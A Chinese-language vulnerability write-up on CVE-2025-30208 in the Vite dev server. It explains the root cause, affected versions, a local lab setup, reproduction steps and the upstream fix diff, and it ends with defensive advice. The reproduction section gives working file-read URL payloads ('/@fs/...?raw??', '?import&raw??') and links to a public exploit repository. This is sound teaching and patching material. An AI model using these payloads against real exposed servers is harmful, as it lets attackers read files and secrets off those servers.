Vite 任意文件读取漏洞(CVE-2025-30208)
字数 1354 2025-08-29 22:41:32
Vite 任意文件读取漏洞(CVE-2025-30208) 深度分析与教学文档
漏洞概述
Vite 是一个现代前端构建工具,为Web项目提供快速、精简的开发体验。该工具主要由两部分组成:
- 具有热模块替换(HMR)功能的开发服务器
- 使用Rollup打包代码的构建命令
在Vite 6.2.3、6.1.2、6.0.12、5.4.15和4.5.10之前的版本中,存在一个严重的安全漏洞,允许攻击者绕过server.fs.deny限制,读取文件系统上的任意文件。
漏洞编号
- CVE编号: CVE-2025-30208
- GitHub Advisory: GHSA-x574-m823-4x7w
影响版本
- Vite < 6.2.3
- Vite < 6.1.2
- Vite < 6.0.12
- Vite < 5.4.15
- Vite < 4.5.10
漏洞原理
正常访问控制机制
Vite使用server.fs.allow机制控制允许访问的目录范围,主要涉及三个关键函数:
isFileServingAllowed: 判断URL是否允许被Vite服务器访问isFileLoadingAllowed: 检查文件路径是否符合Vite的文件访问规则ensureServingAccess: 处理HTTP请求,如果文件不被允许访问则返回403
漏洞利用方式
攻击者可以通过在URL的@fs前缀后增加?raw??或?import&raw??参数,绕过文件访问限制。例如:
/@fs/path/to/sensitive/file?raw??
或
/@fs/path/to/sensitive/file?import&raw??
技术细节
-
正则匹配绕过:
- 漏洞版本的正则匹配模式位于
packages/vite/src/node/utils.ts - 通过添加
?raw??或?import&raw??参数,攻击者首先成功通过正则匹配 - 当URL被输入
ensureServingAccess时,系统会判定这不是系统文件,从而绕过两个安全检查
- 漏洞版本的正则匹配模式位于
-
修复方案:
- 在正则匹配之前使用
urlWithoutTrailingQuerySeparators方法处理URL - 权限检测现在基于
urlWithoutTrailingQuerySeparators处理后的文件路径 - 新增了对
trailingQuerySeparatorsRE的处理
- 在正则匹配之前使用
环境搭建
-
安装受影响版本的Vite:
npm install vite@6.2.2 # 明确指定漏洞版本 -
创建测试项目结构:
project/ ├── src/ │ └── main.js ├── vite.config.js └── sensitive.txt -
配置
vite.config.js:export default { server: { fs: { allow: ['.'], // 仅允许访问项目根目录 deny: ['../'] // 禁止访问上级目录 } } }
漏洞复现步骤
-
启动Vite开发服务器:
npx vite -
尝试正常访问受限文件(应失败):
http://localhost:5173/@fs/path/to/sensitive/file -
使用漏洞payload访问(成功读取):
http://localhost:5173/@fs/path/to/sensitive/file?raw?? 或 http://localhost:5173/@fs/path/to/sensitive/file?import&raw??
漏洞修复方案
-
升级到安全版本:
npm install vite@latest -
关键修复点:
- 引入
urlWithoutTrailingQuerySeparators方法处理URL - 修改正则匹配逻辑,正确处理查询参数
- 权限检测基于处理后的URL路径
- 引入
-
修复代码diff:
+ const urlWithoutTrailingQuerySeparators = (url: string) => { + return url.replace(trailingQuerySeparatorsRE, '') + } - const isFileServingAllowed = (url: string) => { + const isFileServingAllowed = (rawUrl: string) => { + const url = urlWithoutTrailingQuerySeparators(rawUrl)
防御建议
- 立即升级Vite到最新安全版本
- 在生产环境中限制Vite开发服务器的访问
- 使用防火墙规则限制开发服务器的网络暴露
- 定期审查项目依赖的安全公告
参考资源
- 官方修复commit: vitejs/vite@f234b574
- GitHub Advisory: GHSA-x574-m823-4x7w
- EXP利用代码: ThumpBo/CVE-2025-30208-EXP